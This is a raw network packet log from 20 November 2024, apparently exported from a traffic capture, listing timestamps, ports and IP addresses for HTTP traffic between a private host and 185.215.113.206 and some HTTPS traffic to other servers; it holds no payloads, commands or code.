Nov 20, 2024 00:19:27.682177067 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.682194948 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.682207108 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.682219982 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.682230949 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.682241917 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.682243109 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.682271004 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.682293892 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.683789968 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.683801889 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.683813095 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.683825970 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.683837891 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.683849096 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.683860064 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.683861971 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.683875084 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.683897972 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.683912992 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.691665888 CET	443	62110	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:27.692461014 CET	62110	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:27.692478895 CET	443	62110	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:27.693101883 CET	62110	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:27.693105936 CET	443	62110	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:27.723931074 CET	443	62108	20.189.173.10	192.168.2.5
Nov 20, 2024 00:19:27.724160910 CET	443	62108	20.189.173.10	192.168.2.5
Nov 20, 2024 00:19:27.724524975 CET	62108	443	192.168.2.5	20.189.173.10
Nov 20, 2024 00:19:27.724704981 CET	62108	443	192.168.2.5	20.189.173.10
Nov 20, 2024 00:19:27.724728107 CET	443	62108	20.189.173.10	192.168.2.5
Nov 20, 2024 00:19:27.724741936 CET	62108	443	192.168.2.5	20.189.173.10
Nov 20, 2024 00:19:27.725121975 CET	62108	443	192.168.2.5	20.189.173.10
Nov 20, 2024 00:19:27.730953932 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.730967999 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.730979919 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.730992079 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.731004000 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.731015921 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.731028080 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.731055021 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.731066942 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.731075048 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.731079102 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.731092930 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.731095076 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.731111050 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.731122971 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.731123924 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.731137037 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.731154919 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.731167078 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.731272936 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.731283903 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.731295109 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.731307983 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.731326103 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.731338978 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.731342077 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.731353998 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.731359959 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.731368065 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.731380939 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.731384993 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.731408119 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.731426001 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.731456995 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.731467962 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.731477976 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.731489897 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.731501102 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.731507063 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.731513977 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.731537104 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.731553078 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.731709003 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.731722116 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.731733084 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.731745005 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.731750011 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.731760979 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.731769085 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.731771946 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.731784105 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.731796980 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.731797934 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.731811047 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.731815100 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.731841087 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.731868029 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.731993914 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.732006073 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.732017994 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.732028961 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.732040882 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.732050896 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.732053995 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.732063055 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.732083082 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.732085943 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.732096910 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.732106924 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.732108116 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.732121944 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.732131004 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.732134104 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.732156992 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.732156992 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.732172012 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.732176065 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.732187986 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.732198954 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.732199907 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.732213020 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.732215881 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.732227087 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.732229948 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.732239008 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.732250929 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.732259989 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.732261896 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.732275009 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.732278109 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.732290983 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.732304096 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.732304096 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.732316971 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.732328892 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.732331991 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.732342005 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.732352018 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.732353926 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.732368946 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.732377052 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.732379913 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.732393026 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.732398033 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.732405901 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.732424974 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.732451916 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.732609034 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.732620001 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.732630014 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.732645035 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.732662916 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.732678890 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.732844114 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.732860088 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.732872009 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.732883930 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.732898951 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.732911110 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.732913017 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.732923031 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.732927084 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.732949972 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.732961893 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.732961893 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.732976913 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.732988119 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.732989073 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.733001947 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.733015060 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.733016014 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.733027935 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.733030081 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.733056068 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.733067036 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.773870945 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.773885965 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.773899078 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.773933887 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.773945093 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.773956060 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.773957014 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.773969889 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.773983955 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.774019957 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.774039984 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.774060965 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.774075031 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.774085999 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.774097919 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.774110079 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.774112940 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.774122953 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.774141073 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.774162054 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.775940895 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.775953054 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.775964022 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.775978088 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.775990963 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.776001930 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.776011944 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.776015043 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.776062965 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.777461052 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.777524948 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.777540922 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.777551889 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.777564049 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.777576923 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.777591944 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.777595997 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.777621984 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.777632952 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.777632952 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.777828932 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.790077925 CET	443	62111	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:27.790146112 CET	443	62111	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:27.790205956 CET	62111	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:27.790484905 CET	62111	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:27.790484905 CET	62111	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:27.790513992 CET	443	62111	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:27.790525913 CET	443	62111	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:27.793852091 CET	62115	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:27.793908119 CET	443	62115	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:27.793982983 CET	62115	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:27.794501066 CET	62115	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:27.794518948 CET	443	62115	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:27.806041956 CET	443	62110	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:27.806251049 CET	443	62110	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:27.806313038 CET	62110	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:27.806338072 CET	62110	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:27.806348085 CET	443	62110	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:27.806358099 CET	62110	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:27.806363106 CET	443	62110	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:27.808741093 CET	62116	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:27.808777094 CET	443	62116	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:27.808892012 CET	62116	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:27.809132099 CET	62116	443	192.168.2.5	13.107.246.45
Nov 20, 2024 00:19:27.809150934 CET	443	62116	13.107.246.45	192.168.2.5
Nov 20, 2024 00:19:27.824695110 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.824704885 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.824750900 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.824820042 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.824832916 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.824850082 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.824861050 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.824865103 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.824876070 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.824901104 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.824901104 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.824913979 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.824925900 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.824956894 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.824961901 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.824976921 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.824984074 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.824990034 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.825002909 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.825011015 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.825015068 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.825040102 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.825048923 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.825058937 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.825066090 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.825086117 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.825095892 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.825108051 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.825130939 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.825158119 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.825190067 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.825201988 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.825213909 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.825253963 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.825268030 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.825285912 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.825303078 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.825315952 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.825325966 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.825329065 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.825339079 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.825341940 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.825372934 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.825398922 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.825598001 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.825608015 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.825618982 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.825630903 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.825644970 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.825650930 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.825664043 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.825675011 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.825685978 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.825690031 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.825700998 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.825707912 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.825711966 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.825725079 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.825725079 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.825733900 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.825741053 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.825763941 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.825763941 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.825783968 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.825789928 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.825797081 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.825808048 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.825819016 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.825822115 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.825829983 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.825843096 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.825855017 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.825858116 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.825865984 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.825880051 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.825887918 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.825894117 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.825900078 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.825912952 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.825931072 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.825947046 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.825956106 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.825963974 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.825977087 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.825978994 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.825994015 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.826006889 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.826019049 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.826020002 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.826046944 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.826065063 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.826066971 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.826080084 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.826092958 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.826107979 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.826121092 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.826137066 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.826139927 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.826154947 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.826167107 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.826191902 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.826216936 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.826235056 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.826244116 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.826253891 CET	80	49762	185.215.113.206	192.168.2.5
Nov 20, 2024 00:19:27.826281071 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.826299906 CET	49762	80	192.168.2.5	185.215.113.206
Nov 20, 2024 00:19:27.826314926 CET	80	49762	185.215.113.206	192.168.2.5
